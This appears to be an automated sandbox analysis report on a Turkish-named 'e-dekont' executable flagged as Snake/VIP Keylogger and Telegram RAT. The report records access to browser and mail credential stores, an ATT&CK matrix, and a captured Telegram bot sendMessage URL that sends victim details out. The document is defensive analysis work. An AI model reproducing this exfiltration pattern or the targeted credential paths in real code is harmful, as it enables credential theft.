Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Users\user\Desktop\e-dekont_html.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Users\user\AppData\Roaming\fahKSvwo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Users\user\AppData\Roaming\fahKSvwo.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\e-dekont_html.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fahKSvwo.exe PID: 7696, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\e-dekont_html.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4158045385.000000000043D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fahKSvwo.exe PID: 7696, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fahKSvwo.exe PID: 7696, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Input Capture	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
e-dekont_html.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
e-dekont_html.exe	67%	Virustotal		Browse
e-dekont_html.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\fahKSvwo.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\fahKSvwo.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\fahKSvwo.exe	67%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://reallyfreegeoip.org/xml/8.46.123.75	false	high
